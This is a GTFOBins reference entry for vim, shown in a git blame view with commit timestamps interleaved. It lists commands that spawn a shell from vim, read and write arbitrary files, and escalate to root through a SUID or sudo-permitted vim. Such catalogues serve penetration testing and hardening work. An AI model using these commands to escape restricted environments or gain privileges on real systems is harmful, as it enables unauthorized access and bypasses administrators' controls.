GTFOBins.github.io/_gtfobins/vim.md

22 lines
346 B
Markdown
Raw Normal View History

2018-08-17 17:16:09 +02:00
---
functions:
2018-10-05 19:55:38 +02:00
shell:
2018-08-17 17:16:09 +02:00
- code: vim -c ':!/bin/sh'
- code: |
vim
:set shell=/bin/sh
:shell
file-write:
- code: |
vim file_to_write
iDATA
2018-08-20 14:24:15 +02:00
^[
2018-08-17 17:16:09 +02:00
w
file-read:
- code: vim file_to_read
2018-10-05 19:55:38 +02:00
suid:
2018-08-17 17:16:09 +02:00
- code: ./vim -c ':!/bin/sh -p'
2018-10-05 19:55:38 +02:00
sudo:
2018-08-17 17:16:09 +02:00
- code: sudo vim -c ':!/bin/sh'
---